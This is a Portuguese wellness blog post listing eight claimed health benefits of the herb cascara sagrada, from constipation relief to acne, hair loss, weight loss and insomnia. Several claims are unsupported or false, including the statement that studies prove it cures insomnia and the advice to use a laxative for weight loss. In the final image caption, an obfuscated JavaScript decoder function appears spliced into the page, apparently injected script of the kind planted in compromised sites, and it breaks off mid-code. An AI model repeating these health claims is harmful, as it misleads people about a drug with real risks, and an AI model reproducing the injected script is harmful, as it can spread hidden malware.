8 Benefícios da Cáscara Sagrada para a nossa saúde

Set 14, 2017 | Saúde e bem estar

8 Benefícios da Cáscara Sagrada para a nossa saúde

Já conhece a Cáscara Sagrada? É uma planta medicinal bastante eficaz no tratamento de problemas de prisão de ventre, já que possui propriedades laxantes.

Saiba também que esta erva ajuda a combater a retenção de líquidos, problemas de fígado, inchaço abdominal… A Cáscara Sagrada tem acção diurética, laxante, estimulante, tónica e tantas outras! No entanto, tal como todos os alimentos e ervas medicinais, não deve exagerar no seu consumo caso contrário pode prejudicar o seu organismo.

Conheça agora em pormenor todos os benefícios da Cáscara Sagrada para a saúde!

1- Retarda os sinais de envelhecimento

Saiba que esta planta tem propriedades anti-envelhecimento que ajudam a atenuar as rugas e manchas na pele que surgem com o passar dos anos. A pele fica mais jovem e saudável!

8 Benefícios da Cáscara Sagrada para a saúde- Retarda os sinais de envelhecimento | Foto: viewpoints

2- Atenua os efeitos da acne

O chá de Cáscara Sagrada pode ser utilizado para tratar as marcas do acne principalmente, no caso dos adolescentes! Segundo os especialistas de estética, pode aplicar este chá frio sobre o rosto como tratamento e prevenção da acne. Mas, muita atenção, consulte sempre o seu médico ou dermatologista.

8 Benefícios da Cáscara Sagrada para a saúde- Atenua os efeitos da acne | Foto: seligasaude

3- Tem propriedades hidratantes

A Cáscara Sagrada tem propriedades hidratantes. E, por isso, é muitas vezes utilizada em vários produtos corporais. Porquê? Porque assim consegue manter uma pele fresca e hidratada, seja verão ou inverno.

8 Benefícios da Cáscara Sagrada para a saúde- Tem propriedades hidratantes

4- Melhora a saúde capilar

Saiba que a Cáscara Sagrada, para além de limpar o nosso organismo, também ajuda a evitar problemas relacionados com o couro cabeludo. Esta erva ajuda a eliminar piolhos e caspa. Tal como os produtos corporais, também existem produtos para o cabelo feitos à base desta planta fantástica. Para além disso, se sofre de problemas relacionados com queda de cabelo, pode tomar suplementos desta erva, assim evita os bloqueios dos poros do couro cabeludo, que consequentemente causam a queda do cabelo.

8 Benefícios da Cáscara Sagrada para a  saúde – Melhora a saúde capilar | Foto: contraquedadecabelo

5- Combate a prisão de ventre

Esta erva é muito conhecida por combater a prisão de ventre graças às suas propriedades laxantes que ajudam a limpar o cólon. E, claro, também ajuda a regular o sistema digestivo. Trata-se de uma planta muito utilizada na obstipação ocasional (causada por mudanças nos hábitos alimentares, viagens, factores emocionais, medicamentos, etc..).

8 Benefícios da Cáscara Sagrada para a saúde- Combate a prisão de ventre | Foto: comoperderpeso

6- Trata problemas gástricos e cálculos biliares

As propriedades desta erva facilitam a digestão e melhoram as funções gastrointestinais do organismo. A Cáscara Sagrada também ajuda a tratar e prevenir os cálculos biliares. Segundo especialistas esta erva melhora a digestão dos alimentos, impedindo a acumulação de “pedras”.

8 Benefícios da Cáscara Sagrada para a saúde- Trata problemas gástricos e cálculos biliares | Foto: porlavidasaludable

7- Contribui para a perda de peso

Por ter propriedades laxantes, esta erva é aconselhada por alguns médicos em dietas de emagrecimento, promovendo a perda de peso. No entanto, deve ser sempre conciliada com uma alimentação equilibrada.

8 Benefícios da Cáscara Sagrada para a saúde- Contribui para a perda de peso | Foto: emagrecercalorias

8- Ajuda a acabar com as insónias

Estudos comprovaram que esta erva pode ser bastante eficaz a acalmar os nervos, ajudando a combater as insónias e melhorando a qualidade do seu sono.

8 Benefícios da Cáscara Sagrada para a saúde- Acaba com as insónias | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandrenew.com/wp-content/uploads/2016/01/insomnia-600x400.jpg"> refineandrenew

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